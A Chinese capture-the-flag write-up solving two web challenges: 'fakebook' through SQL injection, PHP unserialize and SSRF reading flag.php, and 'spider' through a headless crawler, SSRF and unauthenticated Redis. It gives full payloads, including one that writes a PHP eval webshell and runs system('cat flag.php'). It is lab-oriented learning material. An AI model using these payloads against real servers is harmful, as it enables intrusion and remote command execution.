fakebook

访问 robots.txt 得到泄露的文件 user.php.bak

Disallow: /user.php.bak
Sitemap: http://domain.com/sitemap.xml
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

测试页面功能,可以猜测 view.php?no=xxx 处存在 sql 注入的问题:

view 1

view 2

可以看到此时页面会报 unserialize() 的相应错误,那么可以做一个合理的猜测,页面会将从 mysql 中取出的数据,并将数据反序列化后再填充到页面上

而此时应该会调用 getBlogContents() 函数,那么这里必然存在一个 SSRF 的问题,我们只要构造 payload 使得其访问 /var/www/html/flag.php 即可

那么我们可以尝试构造相应序列化数据作为 payload:O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:24;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最后 payload 如下:

http://80be5985cb9c4234bd4d0459d6a7f7238f336e1e2c514d60.game.ichunqiu.com/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:24;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%23

查看源代码即可获得 base64 编码后的 flag,解码即可得到 flag{a004021a-5f34-4692-b9b2-f5b50e6c095f}

<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3thMDA0MDIxYS01ZjM0LTQ2OTItYjliMi1mNWI1MGU2YzA5NWZ9IjsNCmV4aXQoMCk7DQo='>

我们可以通过相同的方式获得 view.php 的源码来加深我们的理解:

<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>User</title>

    <?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
    die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

?>
<div class="container">
    <table class="table">
        <tr>
            <th>
                username
            </th>
            <th>
                age
            </th>
            <th>
                blog
            </th>
        </tr>
        <tr>
            <td>
                <?php echo $res['username']; ?>
            </td>
            <td>
                <?php echo $user->age; ?>
            </td>
            <td>
                <?php echo xss($user->blog); ?>
            </td>
        </tr>
    </table>

    <hr>
    <br><br><br><br><br>
    <p>the contents of his/her blog</p>
    <hr>
    <?php

    $response = $user->getBlogContents();
    if ($response === 404)
    {
        echo "404 Not found";
    }

    else
    {
        $base64 = base64_encode($response);
        echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
        // echo $response;
    }

    // var_dump($user->getBlogContents());
    ?>

</div>
</body>
</html>

非常悲伤的在本题陷入误区了,选择了绕过 isValidBlog,构造 url 使其指向 127.0.0.1 但最后仍然不能访问到相应文件,想来是禁止了 http 协议的访问(😭

spider

首先尝试访问 robots.txt,发现存在 /get_sourcecode 页面,但页面提示 NOT 127.0.0.1,由此可以推测可能需要通过其他方式使得服务器去访问该网址

那么我们从网址提供的功能入手:

spider

根据提示我们可以知道该网站提供的是动态爬虫的功能,简单说该页面可以抓取动态网页,那么显然我们可以在我们提交的 html 文件中写入 js 代码,js 代码在服务器访问的过程中会被执行:

<html>
	<body>
		<a id='test' href="">1</a>
		<script src="http://127.0.0.1/vendor/jquery-1.11.1.min.js"></script>
		<script>
		$.get('http://127.0.0.1/get_sourcecode', function(data){
			document.getElementById("test").innerHTML=data;
		});
		</script>
	</body>
</html>

可以看到服务器访问 get_sourcecode 并在相应页面上输出内容:

source code

获得源代码如下:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time &gt; 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/run.py') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

根据代码中的提示,我们可以发现我们需要利用的是 redis 的未授权访问来写一个 webshell

在本题中,redis 服务确实在运行,但我们直接访问 6379 端口可能会出错,但不影响我们来写 payload

根据提示我们知道 8000 端口存在着 apache2 的服务(当然是只开放给 127.0.0.1 的),那么我们可以尝试通过 redis 来写一下 php 的 webshell 然后通过在通过服务端的访问来触发(这里吐槽一句开端口这种事情不给 hint 的话要扫到猴年马月😓

下面就是 payload 时间:

<html>
<body>
	<a id='test' href="">level=low_273eac1c</a>
	<script>
		var xmlhttp;
		if (window.XMLHttpRequest) {
			xmlhttp = new XMLHttpRequest();
		}
		else {
			xmlhttp = newActiveXObject("Microsoft.XMLHTTP");
		}
		var formData = new FormData();
		formData.append("0", "flushall" + "\n" + "config set dir /var/www/html/" + "\n" + "config set dbfilename shell.php" + "\n" + 'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"' + "\n" + "save" + "\n" + "quit");
		xmlhttp.open("POST", "http://127.0.0.1:6379", true);
		xmlhttp.send(formData);
	</script>
</body>
</html>
<html>
	<body>
		<a id='test' href="">1</a>
		<script src="http://127.0.0.1/vendor/jquery-1.11.1.min.js"></script>
		<script>
		$.get('http://127.0.0.1:8000/shell.php?_=system("cat flag.php");', function(data){
			document.getElementById("test").innerHTML=data;
		});
		</script>
	</body>
</html>

还是太菜了(哭泣😭

参考链接